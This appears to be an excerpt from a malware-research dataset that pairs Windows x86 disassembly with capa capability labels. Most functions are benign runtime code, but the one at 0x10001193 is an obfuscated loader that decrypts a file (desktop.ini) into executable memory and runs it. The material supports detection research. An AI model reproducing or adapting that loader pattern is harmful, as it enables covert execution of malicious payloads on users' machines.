joyce8/EMBER2024-capa huggingface dataset:
Function at 0x429950
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, ecx
mov dword [ebp - 4], edi
cmp esi, ebx
je 0x429afa
cmp ebx, dword [edi + 0x88]
je 0x429afa
mov eax, dword [edi + 0x44]
cmp dword [eax + ebx*4], 0
jl 0x429afa
mov eax, dword [edi + 0x1b4]
test eax, eax
je 0x42999f
nop dword [eax]
cmp dword [eax + 4], ebx
je 0x429afa
mov eax, dword [eax]
test eax, eax
jne 0x429990
push ebx
call fcn.004294a0
mov edx, dword [ebp + 8]
mov dword [ebp + 0x10], eax
test byte [edx + 0x40], 8
je 0x429a7e
mov ecx, dword [edx + 0x30]
cmp dword [ecx + 0x38], 9
jne 0x4299d1
mov esi, dword [ebp + 0x10]
mov eax, dword [ecx + 0x44]
cmp dword [esi + eax], 1
mov esi, dword [ebp + 0xc]
ja 0x429a7e
mov esi, dword [ecx + 0x2c]
mov ecx, edi
push ebx
push esi
mov dword [ebp + 0xc], esi
mov byte [edi + 0x54], 1
call fcn.00429b10
mov esi, dword [esi + 0x14]
test esi, esi
je 0x429a0d
nop dword [eax + eax]
push dword [esi + 0x44]
push dword [esi + 0x58]
push dword [esi + 0x38]
push ebx
push dword [esi + 0x50]
push edi
call fcn.0040fa40
mov esi, dword [esi + 0xc]
add esp, 0x18
test esi, esi
jne 0x4299f0
mov eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x18]
test esi, esi
je 0x429a3a
push dword [esi + 0x44]
push dword [esi + 0x64]
push dword [esi + 0x58]
push dword [esi + 0x38]
push ebx
push dword [esi + 0x54]
push edi
call fcn.0042c5d0
mov esi, dword [esi + 0x10]
add esp, 0x1c
test esi, esi
jne 0x429a17
mov eax, dword [ebp + 0xc]
push ebx
push dword [eax + 0xc]
mov ecx, edi
call fcn.00426e50
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x429afa
lea ecx, [eax + 0x18]
mov eax, dword [ecx]
cmp eax, ecx
je 0x429afa
cmp dword [eax + 0x38], ebx
jne 0x429a6f
mov dword [eax + 0x38], 0
mov eax, dword [eax]
cmp eax, ecx
jne 0x429a63
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [edx + 0x30]
mov edx, dword [eax + 0x44]
add edx, dword [ebp + 0x10]
cmp dword [eax + 0x38], 9
jne 0x429ae6
mov ecx, dword [edx + 4]
mov eax, dword [edx]
add ecx, dword [ebp + 0x10]
add eax, 0xffffffff
js 0x429af0
nop word [eax + eax]
cmp dword [ecx + eax*4], esi
je 0x429abd
sub eax, 1
jns 0x429aa0
push 0
push ebx
mov ecx, edi
call fcn.0042b080
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
inc eax
cmp eax, dword [edx]
jge 0x429ad1
lea esi, [ecx + eax*4]
mov ecx, dword [edx]
lea edi, [esi - 4]
sub ecx, eax
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 4]
dec dword [edx]
mov ecx, edi
push 0
push ebx
call fcn.0042b080
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [edx], esi
jne 0x429af0
mov dword [edx], 0
push 0
push ebx
mov ecx, edi
call fcn.0042b080
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x429c30
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, ecx
mov dword [ebp - 0x14], ebx
push dword [ebx + 0x38]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
cmp byte [ebx + 0x54], 0
mov edx, eax
mov dword [ebp - 0x18], edx
je 0x429dd4
mov ecx, dword [ebx + 0xd8]
mov dword [ebp - 8], ecx
cmp dword [ecx + 0x24], 0
jne 0x429c7b
cmp dword [edx + 0xc], 0
jne 0x429c9c
cmp dword [edx + 0x14], 0
jne 0x429c7b
mov eax, dword [edx + 0x10]
cmp eax, dword [ecx + 0x30]
jne 0x429dd4
cmp dword [edx + 0xc], 0
jne 0x429c9c
cmp dword [edx + 0x14], 0
mov dword [ebp - 8], ecx
jne 0x429c9c
push 1
mov ecx, ebx
call fcn.00421ce0
mov eax, dword [ebx + 0xd8]
mov dword [ebp - 8], eax
mov edx, dword [ebx + 0x40]
add dword [ebp - 8], 0x48
push esi
mov esi, dword [ebx + 0x80]
mov eax, dword [edx + 4]
add esi, 0x3ff
push edi
mov edi, dword [ebx + 0x3c]
shr esi, 0xa
lea ecx, [eax + eax*2]
mov dword [ebp - 0x10], esi
mov eax, dword [ebx + eax*4 + 0x48]
shl ecx, 3
mov dword [ebp - 0xc], ecx
add ecx, edx
sub edx, dword [ebp - 0xc]
mov dword [ebp - 4], eax
add edi, dword [ecx + 0x18]
mov dword [ebx + 0x60], 2
mov dword [ebx + 0x58], 2
mov dword [ebx + 0x64], 0
mov dword [ebx + 0x5c], 0
mov eax, dword [edx + 0x2c]
cmp eax, dword [ecx + 0x18]
je 0x429d0b
shl esi, 0xc
push esi
push dword [ebp - 4]
push edi
call fcn.004323f0
add esp, 0xc
jmp 0x429d54
test esi, esi
je 0x429d54
mov ecx, dword [ebp - 4]
mov esi, 1
mov edx, dword [ebp - 8]
sub ecx, edi
mov dword [ebp - 4], ecx
xor ebx, ebx
mov eax, ebx
shr eax, 5
test dword [edx + eax*4], esi
je 0x429d43
push 0x1000
lea eax, [ecx + edi]
push eax
push edi
call fcn.004323f0
mov ecx, dword [ebp - 4]
add esp, 0xc
mov edx, dword [ebp - 8]
inc ebx
rol esi, 1
add edi, 0x1000
cmp ebx, dword [ebp - 0x10]
jb 0x429d21
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebx + 0x40]
mov ecx, eax
mov edx, dword [ebp - 0xc]
sub ecx, edx
mov eax, dword [edx + eax + 0x20]
mov dword [ecx + 0x34], eax
mov eax, dword [ebx + 0x40]
mov ecx, eax
sub ecx, edx
mov eax, dword [edx + eax + 0x24]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebx + 0x40]
mov ecx, eax
sub ecx, edx
mov eax, dword [edx + eax + 0x28]
mov dword [ecx + 0x40], eax
mov eax, dword [ebx + 0x40]
mov ecx, eax
sub ecx, edx
mov eax, dword [edx + eax + 0x18]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebx + 0x84]
add eax, 0x7fff
shr eax, 0xf
shl eax, 2
push eax
push 0
push dword [ebp - 8]
call fcn.00432290
mov eax, dword [ebx + 0xd8]
add esp, 0xc
mov byte [ebx + 0x54], 0
mov ecx, ebx
mov dword [eax + 0x24], 0
mov eax, dword [ebx + 0xd8]
inc dword [eax + 0x30]
call fcn.00429bd0
mov edx, dword [ebp - 0x18]
pop edi
pop esi
mov eax, dword [ebx + 0xd8]
cmp dword [eax + 0x3c], 0
je 0x429de8
push edx
mov ecx, ebx
call fcn.00423960
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x429df0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, ecx
cmp dword [edi + 0x16c], 0
jne 0x429e63
push esi
mov esi, dword [ebp + 8]
mov edx, esi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x429e08
sub edx, ecx
lea eax, [edx + 1]
push eax
call fcn.0042f8b9
add esp, 4
mov dword [edi + 0x16c], eax
mov cl, byte [esi]
lea esi, [esi + 1]
mov byte [eax], cl
lea eax, [eax + 1]
test cl, cl
jne 0x429e23
mov eax, dword [ebp + 0xc]
mov dword [edi + 0x170], eax
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x174], eax
lea eax, [ebp + 8]
push eax
push 0
push edi
push 0x421cd0
push 0
push 0x49e294
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x17c], eax
pop esi
pop edi
pop ebp
ret 0xc

Function at 0x429e70
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
xor eax, eax
mov esi, ecx
cmp dword [edi + 0x10], 1
sete al
push eax
call fcn.00421ce0
mov eax, dword [edi + 0xc]
mov ecx, dword [eax + 0xc]
mov eax, dword [esi + 0x44]
mov ecx, dword [eax + ecx*4]
add ecx, dword [esi + 0x3c]
mov eax, dword [ecx + 0x28]
mov dword [edi + 0x30], eax
mov eax, dword [ecx + 0x2c]
mov dword [edi + 0x34], eax
mov eax, dword [ecx + 0x20]
mov dword [edi + 0x24], eax
mov byte [edi + 0x2c], 1
push dword [esi + 0x38]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
add eax, 0x18
mov dword [edi + 4], eax
mov ecx, dword [eax]
mov dword [edi], ecx
mov ecx, dword [eax]
mov dword [ecx + 4], edi
mov dword [eax], edi
pop edi
pop esi
pop ebp
ret 4
Function at 0x42b080
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push dword [ecx + 0x38]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x42b0e6
push ebx
lea ebx, [eax + 0x18]
push esi
mov esi, dword [ebx]
cmp esi, ebx
je 0x42b0e4
push edi
nop dword [eax]
mov edi, dword [esi + 0x38]
cmp edi, dword [ebp + 8]
jne 0x42b0dd
cmp byte [ebp + 0xc], 0
je 0x42b0b7
mov dword [esi + 0x38], 0
jmp 0x42b0dd
mov edx, dword [esi + 0x3c]
test edx, edx
je 0x42b0dd
cmp byte [esi + 0x4f], 0
jne 0x42b0dd
mov ecx, dword [esi + 8]
mov eax, dword [ecx + 0x44]
mov eax, dword [eax + edi*4]
add eax, dword [ecx + 0x3c]
mov ecx, dword [esi + 0xc]
push eax
push edx
mov ecx, dword [ecx + 0x10]
call fcn.00417980
mov esi, dword [esi]
cmp esi, ebx
jne 0x42b0a0
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x42f020
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x486b88
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x49c33c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
cmp byte [edi + 0x1c], 0
lea esi, [edi + 4]
mov dword [ebp - 0x14], esi
je 0x42f060
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [edi]
mov dword [ebp - 4], 0
test ebx, ebx
jne 0x42f0f6
push 0x20
call fcn.0042f87b
mov ebx, eax
add esp, 4
mov dword [ebp - 0x14], ebx
test ebx, ebx
je 0x42f0f2
push 0
mov dword [ebx], 0
push 0xf4240
mov dword [ebx + 0x18], 0
push 0
mov dword [ebx + 0x1c], 0
mov dword [ebx + 4], edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0x49e294
call edi
push 0
push 0xf4240
push 0
push 0x49e294
mov dword [ebx + 0x18], eax
call edi
mov dword [ebx + 0x1c], eax
lea eax, [ebp - 0x14]
push eax
push 0
push ebx
push 0x42f1b0
push 0
push 0x49e294
mov dword [ebx + 8], 0
mov byte [ebx + 0x14], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [ebp - 0x10]
mov dword [ebx], eax
jmp 0x42f0f4
xor ebx, ebx
mov dword [edi], ebx
mov eax, dword [ebx + 8]
mov dword [edi], eax
mov eax, dword [ebp + 8]
push 0
push 1
push dword [ebx + 0x18]
mov dword [ebx + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebx + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
cmp byte [esi + 0x18], 0
je 0x42f121
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x42f520
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
movzx ebx, byte [ebp + 0x10]
push esi
push 0
xor ebx, 1
mov esi, ecx
push 0x10000000
mov dword [ebp - 4], ebx
lea eax, [ebx + 3]
push eax
push 0x49e294
push 3
lea eax, [ebx + 2]
shl eax, 0x1e
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi], eax
cmp eax, 0xffffffff
jne 0x42f569
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
push edi
lea ecx, [ebp + 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x42f59e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test ebx, ebx
je 0x42f59b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 0x14
mov ebx, dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
mov dword [esi + 0x10], edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42f5a7
sub ecx, edx
lea eax, [ecx + 1]
push eax
call fcn.0042f8b9
mov edx, dword [ebp + 0xc]
add esp, 4
mov dword [esi + 8], eax
mov cl, byte [edx]
lea edx, [edx + 1]
mov byte [eax], cl
lea eax, [eax + 1]
test cl, cl
jne 0x42f5c2
cmp byte [ebp + 0x10], cl
jne 0x42f5df
test edi, edi
jne 0x42f5df
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x10], eax
push dword [ebp + 0xc]
lea eax, [ebx*2 + 2]
push dword [esi + 0x10]
push 0
push eax
push 0x49e294
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esi + 4]
mov ebx, eax
test ecx, ecx
jne 0x42f627
mov ecx, dword [esi]
cmp ecx, 0xffffffff
je 0x42f66c
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 0x14
cmp byte [ebp + 0x10], 0
mov edx, 4
push 0
push 0
push 0
mov eax, 0xf001f
cmovne eax, edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov dword [esi + 0xc], ecx
test ecx, ecx
jne 0x42f677
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, eax
call edi
mov ecx, dword [esi]
cmp ecx, 0xffffffff
je 0x42f66c
push ecx
call edi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 0x14
cmp ebx, 0xb7
je 0x42f697
mov eax, dword [esi + 0x10]
cmp eax, edi
jbe 0x42f697
sub eax, edi
push eax
lea eax, [ecx + edi]
push 0
push eax
call fcn.00432290
add esp, 0xc
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x14

Function at 0x47087c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0047047d

Function at 0x470887
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00470600

Function at 0x475332
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00475208

Function at 0x47767b
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00476e09
Function at 0x477686
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00477048

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x403050
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
mov eax, dword [0x456094]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x403099
push str.SetDefaultDllDirectories
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x403099
push 0xc00
call eax
test eax, eax
jne 0x40312e
push 0x106
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, eax
test ecx, ecx
je 0x40312e
cmp ecx, 0x104
ja 0x40312e
cmp word [ebp + ecx*2 - 0x2d6], 0x5c
je 0x4030d2
mov eax, 0x5c
mov word [ebp + ecx*2 - 0x2d4], ax
inc ecx
mov al, byte [str.userenv]
push esi
mov esi, str.userenv
test al, al
je 0x40312d
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push edi
lea edi, [ebp - 0x2d4]
lea edi, [edi + ecx*2]
mov ecx, edi
inc esi
movzx eax, al
lea ecx, [ecx + 2]
mov word [ecx - 2], ax
mov al, byte [esi]
inc esi
test al, al
jne 0x4030f5
xor eax, eax
mov dword [ecx], 0x64002e
push 8
push eax
mov word [ecx + 8], ax
lea eax, [ebp - 0x2d4]
push eax
mov dword [ecx + 4], 0x6c006c
call ebx
mov al, byte [esi]
test al, al
jne 0x4030f2
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043b3d6
mov esp, ebp
pop ebp
ret
Function at 0x408700
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edx, dword [esi + 8]
and edx, 0x3f
mov byte [edx + esi + 0x40], 0x80
inc edx
cmp edx, 0x38
jbe 0x40874b
cmp edx, 0x40
je 0x408737
mov eax, 0x40
lea ecx, [esi + 0x40]
sub eax, edx
add ecx, edx
push eax
push 0
push ecx
call fcn.0043ca20
add esp, 0xc
mov eax, dword [esi]
lea edi, [esi + 0x40]
lea ebx, [esi + 0x20]
mov edx, edi
push 1
mov ecx, ebx
call eax
xor edx, edx
jmp 0x408751
lea edi, [esi + 0x40]
lea ebx, [esi + 0x20]
mov eax, 0x38
sub eax, edx
push eax
lea eax, [esi + 0x40]
add eax, edx
push 0
push eax
call fcn.0043ca20
mov ecx, dword [esi + 8]
add esp, 0xc
mov eax, dword [esi + 0xc]
mov edx, edi
shld eax, ecx, 3
shl ecx, 3
bswap eax
bswap ecx
mov dword [esi + 0x78], eax
mov eax, dword [esi]
mov dword [esi + 0x7c], ecx
mov ecx, ebx
push 1
call eax
mov edi, dword [ebp + 0xc]
mov edx, ebx
mov ebx, 4
mov ecx, dword [edx + 4]
lea edi, [edi + 8]
mov eax, dword [edx]
lea edx, [edx + 8]
bswap eax
mov dword [edi - 8], eax
bswap ecx
mov dword [edi - 4], ecx
sub ebx, 1
jne 0x408794
pop edi
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x20], 0x6a09e667
mov dword [esi + 0x24], 0xbb67ae85
mov dword [esi + 0x28], 0x3c6ef372
mov dword [esi + 0x2c], 0xa54ff53a
mov dword [esi + 0x30], 0x510e527f
mov dword [esi + 0x34], 0x9b05688c
mov dword [esi + 0x38], 0x1f83d9ab
mov dword [esi + 0x3c], 0x5be0cd19
pop esi
pop ebx
pop ebp
ret 8

Function at 0x408800
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [0x456020]
mov dword [ecx], eax
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x20], 0x6a09e667
mov dword [ecx + 0x24], 0xbb67ae85
mov dword [ecx + 0x28], 0x3c6ef372
mov dword [ecx + 0x2c], 0xa54ff53a
mov dword [ecx + 0x30], 0x510e527f
mov dword [ecx + 0x34], 0x9b05688c
mov dword [ecx + 0x38], 0x1f83d9ab
mov dword [ecx + 0x3c], 0x5be0cd19
pop ebp
ret 4

Function at 0x408c40
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
push 0
call fcn.0043f377
mov ecx, dword [ebp + 8]
add esp, 0x18
mov dword [ecx], eax
test eax, eax
je 0x408c6d
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ecx, 1
cmovne ecx, eax
mov eax, ecx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40bde0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x458e50], 0
jne 0x40be18
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.0040a4a0
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.0043b61c
add esp, 4
test esi, esi
pop esi
jmp 0x40be25
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x40be2f
mov al, 1
mov esp, ebp
pop ebp
ret 4
xor al, al
mov esp, ebp
pop ebp
ret 4
Function at 0x40c0b0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 8]
push esi
call fcn.0040d3a0
cmp eax, 0xffffffff
je 0x40c0dd
mov ecx, eax
and cl, 0x11
cmp cl, 1
jne 0x40c0dd
and eax, 0xfffffffe
push eax
push esi
call fcn.0040c800
test al, al
je 0x40c11c
cmp byte [0x458e50], 0
push esi
jne 0x40c109
lea eax, [ebp - 0xc]
push eax
call fcn.0040a4a0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.0043b61c
add esp, 4
test esi, esi
jmp 0x40c111
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x40c11c
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 4
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x40c130
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44866b
mov eax, dword fs:[0]
push eax
sub esp, 0x360
mov eax, dword [0x456094]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
xor ecx, ecx
mov eax, dword [edi]
mov dword [edi + 4], 0
mov word [eax], cx
cmp byte [0x458e50], cl
jne 0x40c1dc
lea eax, [ebp - 0x128]
mov byte [ebp - 0x128], cl
push eax
push 0x114
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x40c2b8
cmp eax, 0x114
jae 0x40c2b8
lea eax, [ebp - 0x128]
mov byte [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x36c]
push eax
call fcn.0040a470
push eax
mov ecx, edi
mov dword [ebp - 4], 0
call fcn.00409440
push dword [ebp - 0x36c]
call fcn.0043b61c
add esp, 4
mov al, 1
jmp 0x40c2ba
xor eax, eax
mov word [ebp - 0x354], ax
lea eax, [ebp - 0x354]
push eax
push 0x114
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov esi, eax
test esi, esi
je 0x40c2b8
cmp esi, 0x114
jae 0x40c227
xor eax, eax
mov ecx, edi
mov word [ebp - 0x12c], ax
lea eax, [ebp - 0x354]
push eax
call fcn.004095c0
mov al, 1
jmp 0x40c2ba
lea ecx, [ebp - 0x360]
call fcn.004093b0
mov dword [ebp - 4], 1
cmp esi, dword [ebp - 0x358]
jbe 0x40c24d
push esi
lea ecx, [ebp - 0x360]
call fcn.00409d10
push dword [ebp - 0x360]
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov edx, eax
test edx, edx
je 0x40c2aa
mov ecx, dword [ebp - 0x360]
xor eax, eax
mov word [ecx + esi*2], ax
cmp word [ecx], ax
je 0x40c279
inc eax
cmp word [ecx + eax*2], 0
jne 0x40c271
mov dword [ebp - 0x35c], eax
cmp eax, edx
jne 0x40c2aa
lea eax, [esi - 1]
cmp eax, edx
jne 0x40c2aa
lea eax, [ebp - 0x360]
mov ecx, edi
push eax
call fcn.00409440
push dword [ebp - 0x360]
call fcn.0043b61c
add esp, 4
mov al, 1
jmp 0x40c2ba
push dword [ebp - 0x360]
call fcn.0043b61c
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043b3d6
mov esp, ebp
pop ebp
ret 4